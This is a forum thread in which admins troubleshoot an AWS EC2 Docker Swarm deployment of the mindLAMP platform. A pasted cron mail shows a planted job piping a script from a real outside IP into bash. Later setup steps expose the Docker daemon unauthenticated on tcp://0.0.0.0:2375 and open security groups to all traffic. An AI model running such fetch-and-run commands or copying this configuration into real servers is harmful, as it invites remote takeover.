Testing the LAMP Platform: Server Admin Troubles

Secondly, since yesterday, my EC2 servers have been experiencing a possible malware attack. I have been receiving mail to path /var/spool/mail/root at relatively high frequency. My first message came at Tue Oct 26 20:18:11 2021, since then there has been 505 messages. Their contents looks as such:

From root@node-01.<MY-DOMAIN>  Wed Oct 27 19:19:13 2021
Return-Path: <root@node-01.<MY-DOMAIN>>
X-Original-To: root
Delivered-To: root@node-01.<MY-DOMAIN>
Received: by node-01.<MY-DOMAIN> (Postfix, from userid 0)
        id 5BA97D7D5E; Wed, 27 Oct 2021 19:19:12 +0000 (UTC)
From: "(Cron Daemon)" <root@node-01.<MY-DOMAIN>>
To: root@node-01.<MY-DOMAIN>
Subject: Cron <root@node-01> curl http://199.19.226.117/b2f628/cronb.sh|bash
Content-Type: text/plain; charset=UTF-8
Auto-Submitted: auto-generated
Precedence: bulk
X-Cron-Env: <XDG_SESSION_ID=612>
X-Cron-Env: <XDG_RUNTIME_DIR=/run/user/0>
X-Cron-Env: <LANG=en_US.UTF-8>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <PATH=/usr/bin:/bin>
X-Cron-Env: <LOGNAME=root>
X-Cron-Env: <USER=root>
Message-Id: <20211027191912.5BA97D7D5E@node-01.<MY-DOMAIN>>
Date: Wed, 27 Oct 2021 19:17:01 +0000 (UTC)

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:--  0:02:11 --:--:--     0
curl: (28) Failed to connect to 199.19.226.117 port 80: Connection timed out

From searching this IP we found this forum

I have a performed quick test with @avaidyam and here is the summary.

  1. In AWS, set security settings as

  2. edit lamp.yml with new host names:(originally api* and db*)

api2.mindlamp.itpmclean.org

db2.mindlamp.itpmclean.org

  1. update lamp.yml file
[root@mindlamp ec2-user]# docker stack deploy --compose-file lamp.yml lamp
Updating service lamp_message_queue (id: kixmrlky41hakqc98a281npgm)
Updating service lamp_server (id: sukigeu0ic7lyx59on5xrzjir)
Updating service lamp_database (id: 1ivnxbhrsntdf8vezmlpvpeqg)
Updating service lamp_cache (id: 9dmdqnrkph3tr6gr52m5564ce)

  1. Open mew private safari browser and enter URL: api2.mindlamp.itpmclean.org

@avaidyam , here is a summary of what we have tested.

On Robert’s mindLamp cloudformation setup, in just ONE of the nodes (there are total 2 nodes, but made changes to only one of them), I did the following.

  1. I added an inbound security rule that covers “All traffic”

  1. Restarted Traefik
[root@mindlamp ~]# docker service scale router_traefik=0
router_traefik scaled to 0
overall progress: 0 out of 0 tasks
verify: Service converged
[root@mindlamp ~]# docker service scale router_traefik=1
router_traefik scaled to 1
overall progress: 1 out of 1 tasks
1/1: running   [==================================================>]
verify: Service converged
  1. Opened https://mindlamp.itpmclean.org in incognito google chorme.

Adding to the thread:

I went through the deployment process again soon after our last meeting. This time via an edited version of the cloudformation template. Template attached (had to zip it to upload) lamp-formation-1-node.zip (3.1 KB)
.
The parameters given for this template are seen here:

aws cloudformation create-stack `
    --region us-east-2 `
	--profile priori-call `
    --stack-name LAMP `
    --template-url https://lamp-prechter-testing.s3.us-east-2.amazonaws.com/lamp-formation-1-node.yml `
    --capabilities CAPABILITY_NAMED_IAM `
    --parameters ParameterKey=HostedZoneId,ParameterValue=Z09437812VLAN7JGUW7IL `
	ParameterKey=DomainName,ParameterValue=<MY-DOMAIN> `
	ParameterKey=InstanceType,ParameterValue=t3.medium `
	ParameterKey=ImageId,ParameterValue=ami-0f57b4cec24530068 `
	ParameterKey=VpcCidrBlock,ParameterValue=10.0.0.0/16 `
	ParameterKey=SubnetCidrBlock,ParameterValue=10.0.0.0/24 `
	ParameterKey=KeyName,ParameterValue=standera-LAMP-dev `
	ParameterKey=SecurityGroupName,ParameterValue=mindLAMP-platform-ec2-sg `
	ParameterKey=SshCidrBlock,ParameterValue=52.95.4.0/24 `
	ParameterKey=Ec2Instance01Name,ParameterValue=mindLAMP-platform-ec2-01

I was unable to successfully deploy, this time experiencing the “Unable to obtain ACME certificate” error:

router_traefik.1.2xpqq4twdp30@node-01.<MY-DOMAIN>    | time="2021-11-10T13:53:10Z" level=error msg="Unable to obtain ACME certificate for domains \"db2.<MY-DOMAIN>\": cannot get ACME client get directory at 'https://acme-v02.api.letsencrypt.org/directory': Get \"https://acme-v02.api.letsencrypt.org/directory\": dial tcp: lookup acme-v02.api.letsencrypt.org on 10.0.0.2:53: write udp 10.0.0.40:47552->10.0.0.2:53: write: operation not permitted" providerName=default.acme routerName=lamp_database@docker rule="Host(`db2.<MY-DOMAIN>`)"

This is really quite strange, @standera and @yochung. I haven’t been able to figure out what is different about the newly created VPC or security groups vs. the default ones. It doesn’t make sense that the Let’sEncrypt TLS-ALPN-01 method wouldn’t work, since it only uses TCP :443 on a single node (no inter-node communication required).

For now, @standera, I recommend using the manually deployed nodes that we set up in our meeting. At a later time I’ll respond with (hopefully) a fixed CFN template.

Hi All:

As I had mentioned in an email that I sent to Dr. John, Aditya, and Yoon - Given that we no longer have any appreciable difference between the mindLAMP VPC with public subnets and security groups, and the default VPC and security groups, the next thing we should all take a look at it is the Docker Swarm setup steps in the EC2 user data. These steps were copied from the mindLAMP website way back. And maybe they are out-dated now.

Here they are again. Not being a Docker Swarm expert, I hope something will jump out at someone on this thread as incorrect or missing:

      # install and start Docker Swarm
      echo "Install and start Docker Swarm ..." >> timestamps.txt
      yum install -y docker
      usermod -a -G docker ec2-user
      usermod -a -G docker ssm-user
      hostnamectl set-hostname ${DomainName}
      mkdir /etc/systemd/system/docker.service.d
      printf "[Service]\nExecStart=\nExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H fd:// --containerd=/run/containerd/containerd.sock\n" | tee /etc/systemd/system/docker.service.d/override.conf
      systemctl daemon-reload
      service docker restart
      docker swarm init

==

Sorry for the awkward fonts :slight_smile: … I have no idea how to shrink font size of the previous paragraph … sorry :slight_smile:

Thx, Robert

1 Like